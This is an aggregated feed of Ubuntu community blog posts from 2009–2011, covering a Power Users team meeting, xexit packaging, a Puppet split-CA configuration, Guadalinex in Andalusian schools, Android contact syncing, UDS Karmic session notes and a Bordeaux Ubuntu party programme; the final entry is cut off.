]]> Sergio Zanchetta Ubuntu Power Users: first meeting https://ubuntumug.wordpress.com/2011/05/27/ubuntu-power-users-first-meeting/ https://ubuntumug.wordpress.com/2011/05/27/ubuntu-power-users-first-meeting/ Fri, 27 May 2011 13:18:16 GMT The Ubuntu Power Users Community had a meeting on Thursday, May 26, 2011 at 17:00 UTC in the #ubuntu-meeting channel. This was the first meeting of this new community, and we had many things on our agenda: the organization of the team, the team logo/branding, the overall team goals and purpose, our long term goals and the goals for the Oneiric cycle. Although we discussed many topics, we didn’t manage to talk about everything we originally planned.

We started the discussion with stating our team vision. Our goal is to help power users to get the most out of Ubuntu. We want to provide a place for power users to communicate, document configuration functionality, and provide tools for tweaking the system. Basically, we want to give users the power to expand, adjust, and tweak their system. To achieve these goals we want to create documentation of tweaks and useful tools, with a mind toward safety. We don’t want to suggest tweaks that could cause issues for a user and can not be backed out of.

We talked about what actions can be done in this cycle. A very important part of our mission is to build the Kitchen Sink: a single application that supports multiple plug-in that provides you with a plethora of check-boxes for switching on and off all kinds of different things. This application will most probably be the well known Ubuntu Tweak. The developer of Ubuntu Tweak, Tualatrix Chou has already joined our mailing list.

The Ubuntu Power User Community will focus on making Ubuntu Tweak ready for Oneiric, and push it into the repositories. The next version of Ubuntu Tweak will have a plugin feature, so the problematic PPA part of the program can be a separate install in the next version. First, we need to focus on getting the code in shape. According to Jordan Mantha (LaserJock), it needs some analysis for safety and stability. A plugin for Unity specific settings has to be made. The packaging will fall into place pretty easily once these are done.

An important part of our mission is creating documentation for Unity about topics like keyboard shortcuts, what options exist in CompizConfig Settings Manager and dconf-editor, and what they actually do. We already have a lot of information on Ask Ubuntu, so it can serve as a good starting point. The main problem is that Ask Ubuntu is not a documentation source. Our goal is to create high quality documentation for Power Users based on the information available on Ask Ubuntu and from other sources.

The first meeting of the Ubuntu Power User Community was a very important milestone in the life of the project. We set some ambitious but not unreachable goals for us. If you want to get involved in the Power User Community just subscribe to the mailing list list or join the #ubuntu-power-users IRC channel on Freenode. There is a plenty of room for you to share your power with others.

]]> László Torma xexit reaches 1.0. Thanks Juha http://ltspthinclient.blogspot.com/2011/03/xexit-reaches-10-thanks-juha.html http://ltspthinclient.blogspot.com/2011/03/xexit-reaches-10-thanks-juha.html Tue, 29 Mar 2011 17:16:00 GMT nice article by Juha, I put in some polishing on xexit, my solution to rotten processes that just don't know when to quit on LTSP servers.

I've included a (slightly modified) version of Juha's script (and, of course, added him to the AUTHORS file), got a proper manpage for it, and done some packaging.

Certain members of the Brazillian hyper-geniuses have indicated it may be possible to get someone to sponsor it for Debian.

In the meantime, users looking to try it can check my ppa, and grab the 1.0 version there. Note that the xexit scripts you need will be in the /usr/share/docs/xexit directory, and should be copied to /etc/Xexit.d. I don't install them there by default, as they're Gnome specific, and I don't wish to aggrivate (by default) users of other fine desktops.]]> Scott Balneaves Overview of a Puppet Split CA architecture http://blog.mathiaz.net/2010/10/overview-of-puppet-split-ca.html http://blog.mathiaz.net/2010/10/overview-of-puppet-split-ca.html Wed, 06 Oct 2010 17:49:00 GMT
The Puppet Master CA is the only Certificate Authority (CA) in the whole infrastructure. It issues certificates for all Puppet agents. It also manages the Puppet Master systems.

The Puppet Masters are only responsible for compiling catalogs requested by Puppet Agents - they don't act as CA themselves. They only accept Puppet Agents which certificates have been issued by the Puppet Master CA.

The Puppet Agent retrieves their certificates from the Puppet Master CA the first time they run. They connect to the Puppet Masters afterwards to get their catalogs. They won't contact the Puppet Master CA anymore.

Puppet Master CA


The Puppet Master CA manages all Puppet Masters. In particular it distributes its own Certificate Revocation List (CRL) file to every Puppet Master. The Puppet Master CA also issues certificates to Puppet Agents.

Puppet Master


A Puppet Master runs under Apache and Passenger. Apache ssl module is configured to require certificates signed by the Puppet Master CA (/etc/apache2/site-available/puppetmaster):
# Require certificates to be valid
SSLVerifyClient require
SSLVerifyDepth  1

The Puppet Master is also configured to not act as a Puppet CA (/etc/puppet/puppet.conf):
[main]
ca = false

Puppet Agent


Puppet Agents retrieve their certificate from the Puppet Master CA and request their catalog from one of the Puppet Masters (/etc/puppet/puppet.conf):
[agent]
ca_server = PUPPET_MASTER_CA
server = PUPPET_MASTER

Conclusion


From a security perspective setting the SSLVerifyClient option to require increases the protection of Puppet Masters from unknown requests and revoked Puppet Agents. Having the Puppet Master CA manage the Puppet Masters also facilitates the distribution of the Puppet Master CA CRL.

On the reliability front new systems won't be added to the infrastructure if the Puppet Master CA is unavailable. However existing Puppet Agents are still functional as long as they can connect to a Puppet Master.]]> Mathias Gug Microsoft takes off the mask https://antoniosanchez.wordpress.com/2010/05/04/microsoft-takes-off-the-mask/ https://antoniosanchez.wordpress.com/2010/05/04/microsoft-takes-off-the-mask/ Tue, 04 May 2010 19:28:01 GMT Recently the General Director for Education of Microsoft took off his mask arguing in a interview that here, in Andalusia, we are using software that Microsoft left ten years ago.

Here in Andalusia, at the south of Spain, every computer (400.000+) at the schools runs «software libre» thanks to the commitment made by the regional government 7 years ago. Specifically, we run Guadalinex Edu, a base of Ubuntu with a lot of free educational applications in the top.

During the interview you can read in spanish somethings like these:

  • Journalist: «Andalusia has introduced free software in schools and has left out Microsoft …»
  • Microsoft: «There are few communities that have implemented only free software, Andalusia is one. Free software is not sustainable by the model itself. We invest 9500 million annually in research and development and the results are the products we put on the market. We know what it takes to make an operating system and it’s a lot of money. The software is free of charge but who is paying this price? Because we have to pay someone to operate and maintain, and these costs are more expensive than ours. This is obvious because there are other interests behind. Free software is built with subsidies and you can’t do subsidies to be the engine that supports a model of technological innovation in the school.»
  • Journalist: «Guadalinex is similar enough to Windows, right?»
  • Microsoft: «Well, if you look in Windows 7, it does not look like Guadalinex at all. Sometimes, we make the mistake of comparing the latest versions of these operating systems with Microsoft products launched back in 2000. You say that the software used by schools in Andalusia is similar to XP, fine, but Windows XP is that it launched a decade ago. We left it 10 years ago and the world has changed. And if you keep Windows XP is due to a poor idea: Is it enough with what I have? Depends on the needs and if you want to give our kids the best or not.»

With the new version of Guadalinex Edu based on Ubuntu Lucid Lynx our students and teachers can:

  • interact with each other thanks to new collaboration tool in a simple way.
  • install a lot of software previously tested doing a single click through the software center.
  • make a backup of all their personal files in a usb stick and recover it later doing a single click.

all of then installed and ready for use in less than 30 minutes through the network or usb device.

Furthermore, every people of the educational community can obtain professional support by phone for free of charge through the Advanced Center for ICT Schools Management who is in charge of the maintenance of the whole network. How many of these services offer Microsoft?

I would like to recommend this person of Microsoft to have a look at the new version of Guadalinex Edu (available in few days) and then ask him what do they think is the best for kids? Perhaps motivation, enthusiasm and hard work of the entire free software community can exceed 9.5 billion invested by Microsoft. Don’t worry about kids, you must be worried about the day when these children reach the professional market and the quality and freedom of the free software used at schools will have more weight than all the investment you are doing in your proprietary software.

:wq

]]> Antonio Sánchez Webling und Android http://blog.diener.li/allgemein/webling-und-android/ http://blog.diener.li/allgemein/webling-und-android/ Mon, 09 Nov 2009 14:27:34 GMT Ja ich habe seit Kurzem auch so einen kleinen Alleskönner als Handy. Auch wenn ich meinen Freerunner sehr mag, auf mein neues Spielzeug ist einfach mehr Verlass. Da mein altes Handy einem Wasserschaden (kein Kommentar) zum Opfer fiel, besorgte ich mir ein HTC Hero mit Google Android. Ein iPhone wollte ich nicht und ich bereue es bis heute nicht. Mein kleiner Held ist nicht nur die Hälfte so teuer, sondern bringt auch alles mit was ich brauche.

Nun aber zum Wesentlichen. Etwas vom dümmsten an Handys war bislang die Portierung der Kontakte auf das neue Gerät. Umso erfreuter war ich, dass es dieses Mal sehr einfach ging. Da Android nun mal von Google kommt, unterstützt es natürlich auch Synchronisation mit dem Kalender, den Mails und den Kontakten von Google. Wenn man mal die Bedenken bezüglich der „Datenkrake“ Google aussen vor lässt und sich auf die funktionellen Fakten bezieht, dann ist das mehr als nur optimal. Angenommen man benutzt bereits die genannten Google Dienste bereits, muss man auf dem Android lediglich seine Kontodaten angeben und alles regelt sich von selbst.

Wie einige von euch wahrscheinlich wissen, bin ich Teilhaber von uSystems GmbH, die unter anderem eine Vereinsverwaltungssoftware entwickelt. Die nennt sich Webling und kann eigentlich viel mehr, aber in diesem Beispiel brauche ich sie nur als Adressverwaltung. Denn seit einiger Zeit habe ich mir eine persönliche Instanz davon unter den Nagel gerissen und brauche es um die Kontaktdaten meiner Freunde zu verwalten. So habe ich einen zentralen Ort, wo ich von überall darauf Zugriff habe. Warum ich das erwähne? Nun Webling kann Daten nicht nur Importieren, sondern auch in diversen Formaten exportieren. Hier zeigt sich wieder mal, dass gewisse simple und bereits recht alte Standards auch heute noch immer super sind. Denn Webling bietet unter anderem die Möglichkeit in eine CSV-Datei zu exportieren und Google wiederum diese zu importieren. Und da die Google Kontakte ja mit meinem Handy synchronisiert werden, habe ich nun sofort alle meine Kontakte auch auf meinem Handy. Und sollte ich mal einen neuen Kontakt nicht importiert haben, so kann ich jederzeit von überall über den neuen Webling Mobile Client auch per Handy auf alle Daten zugreifen. Sehr praktisch sag ich da nur!  🙂 (Auch wenn ich natürlich etwas voreingenommen bin.)

]]> Carlos Diener - emonkey UDS Karmic &#8211; Day One https://mgunes.wordpress.com/2009/05/26/uds-karmic-day-one/ https://mgunes.wordpress.com/2009/05/26/uds-karmic-day-one/ Tue, 26 May 2009 11:45:43 GMT I’m in Barcelona to attend the Ubuntu Developer Summit for Karmic Koala, thanks to the kind sponsorship of Canonical, and I thought I’d use the last bit of  energy I have left from the first day to post short summaries of the sessions I attended.

Increasing Apport Coverage

This QA session was about increasing the coverage of the Apport automated bug reporting tool. One obvious way to do this will be to increase the amount of packages with Apport package hooks, so the QA team will lead a drive to do exactly that. The target will be to make sure that packages to which a sampling (likely by a 50% reduction) of the last 1000 bugs  filed belong have hooks by the next release. The #1 blocker leading to the current situation where we have few packages with hooks was identified to be the fact that few people know that the feature exists at all or is useful to the extent that it actually is. Assuming that there’s a free time slot, a plenary tutorial will be held about this in an effort to remind attending developers and QA people of this relatively simple yet rather important task.

Design and Usability Clinic

This was a hands-on session where the Canonical Design and User Experience Team offered aid to people who needed design/UX advice for their projects in a “clinic” setting. After about quarter an hour of introductions and roundtable talk, the attendees divided up into several groups discussing usability issues in their respective projects. A nice and apparently improvised byproduct was the permanent “UX Clinic” table that got set up in the lounge, around which similar discussions went on intermittently in the rest of the day.

Specialization Within Bug Control

Having more specialist members on the Ubuntu Bug Control team has been a recurring wish. This session focused on the new mentoring program aimed at getting more specialist (and otherwise) people from the Bug Squad into the Bug Control team. Christophe Sauthier and Emmet Hikory from the MOTU team were present to share their experiences with the mentoring model at length, which was beneficial.

Meet Your Users

This design/UX session revolved around (I choose the term advisedly) the theme of “personas”, that is, hypothetical audience stereotypes whom Ubuntu should be designed for. The premise Ivanka Majic, the session lead, put forward was that basing design decisions on the requirements of the more “peripheral” users in terms of association and attachment to Ubuntu and free software would both cover various specialist bases, and ensure that the more central area which has requirements that are more homogeneous and already better catered for would be covered as well.

Attendees suggested various stereotypes along the lines of  “students”, “children”, “administrators” and “media producers” on post-it notes, part of which were later evaluated on scales according to criteria such as age, social status, influence level, cultural background, so on.

My only gripe with this session was paradoxically also the major highlight of it: the talk seemed to stay hung up in the air, with no real conclusion or points to act from (the Gobby server failing and the consequent lack of collective notes certainly didn’t help). Of course this was the start of what we hopefully all expect to be a long conversation; the abrupt interruption of time running out only underlined the hunger I felt, and felt that others also felt, for more in-depth discussion of the audience factor in free software design and usability, and that in itself is promising, given that it’s actually gaining traction in Ubuntu now. Had Troy Sobotka, who has been an outspoken, if unforgiving, proponent of audience-aligned design in free software attended, he might have burst into tears of joy.

Finding Tasks For New Developers

Daniel Holbach this session, which focused on coming up with new means of offering “bitesize” work to new contributors to Ubuntu, mainly in the development area, which would further lower the barriers of entry and attract different sets of would-be contributors.

]]> Murat Güneş Next Stop UDS https://dendrobates.wordpress.com/2009/05/20/next-stop-uds/ https://dendrobates.wordpress.com/2009/05/20/next-stop-uds/ Wed, 20 May 2009 13:42:24 GMT All the Canonical folks are meeting this week prior to UDS.  We’ve already had some great discussions including:

Canonical Plan for World Domination

— text redacted —

(Sorry, if I told you, I’d have to kill you.)

Actually, it is a great time to see all our co-workers from across the globe.  However, I can’t wait for next week, when UDS starts.  UDS is a great time to see all of you, the people that make Ubuntu great.  Please come up to me and talk to me, even if I seem busy.  We are randomizing the tracks this UDS, so each track will move to a new room after each session.  There is no more hiding in a room and not meeting new people.  Please take advantage of it.  The F/OSS world is a weird diverse and interesting place, don’t let yourself miss any of it.

]]> Rick Clark The Way to a new Ubuntu party for the Jaunty Jackalope http://kalon33.blogspot.com/2009/05/way-to-new-ubuntu-party-for-jaunty.html http://kalon33.blogspot.com/2009/05/way-to-new-ubuntu-party-for-jaunty.html Tue, 05 May 2009 16:15:00 GMT
A new party is cooking at Bordeaux on May 23rd ! For the fifth edition, this time helped by the ABUL, The Giroll lug perpetuates the tradition of cheerfulness which has made the reputation of its parties. It's also the time to be a little bit more ambitious, a little bit more one year before the Software Libre Meeting (a.k.a. RMLL) 2010 which will be held in our nice town of Bordeaux. In fact, this time we hope doing more stuff like Ubuntu discovery, Gaming using Linux... But keeping our webradio (see previous posts), our Free lunch (free as "Libre", as we also share cooking recipes of the meals we share at this lunch) and our Install Party. As usual, it starts around 10am at the ECM Saint-Pierre and will finish a bit late (last time, at the public radio show, we finished at 2am... ;)). Conferences will be also organised by our partner ABUL at the Utopia Cinemas (100m from the ECM) the first one at 2pm and the second one at 3.30pm, about the Software Libre issues and consequences. The expended programme will be:

  • 10am: Welcome coffee for the early morning enthousiasts
  • noon: Free Lunch, bring one or more of your meals and recipes to share them with us !
  • 2pm: Conference: les enjeux du logiciel libre (in french) by Pierre Jarillon at cinéma Utopia
  • 3.30pm: Conference: les enjeux du logiciel libre (in french) by Pierre Jarillon at cinéma Utopia
  • 4.30pm: Conference: Ubuntu Jaunty Jackalope (9.04) News by Nicolas Derive (kalon33, me ^^)
  • 6.30pm: Start of the Radio-Giroll Show in live and in public.
  • All the day (10am-8pm or more): Install Party, Animations about Ubuntu discovery and Gaming, and some more depending on people expectations.
We're hoping you will attend !!

For more information, call or let us a message at +33581314334 or mail us at contact at giroll dot org

French announcements are available here and there (Thanks to Ephase and ABUL)
Artwork from the poster (designed by Ephase) is available here under Creative-Commons 3.0 by-Sa license. Please let us a comment and a link if you use it :)]]> Nicolas Derive Ubuntu Makassar : KoPi Ngoprek 4.4 https://kipas.wordpress.com/2009/04/26/ubuntu-makassar-kopi-ngoprek-44/ https://kipas.wordpress.com/2009/04/26/ubuntu-makassar-kopi-ngoprek-44/ Sun, 26 Apr 2009 14:45:21 GMT Muhammad Takdir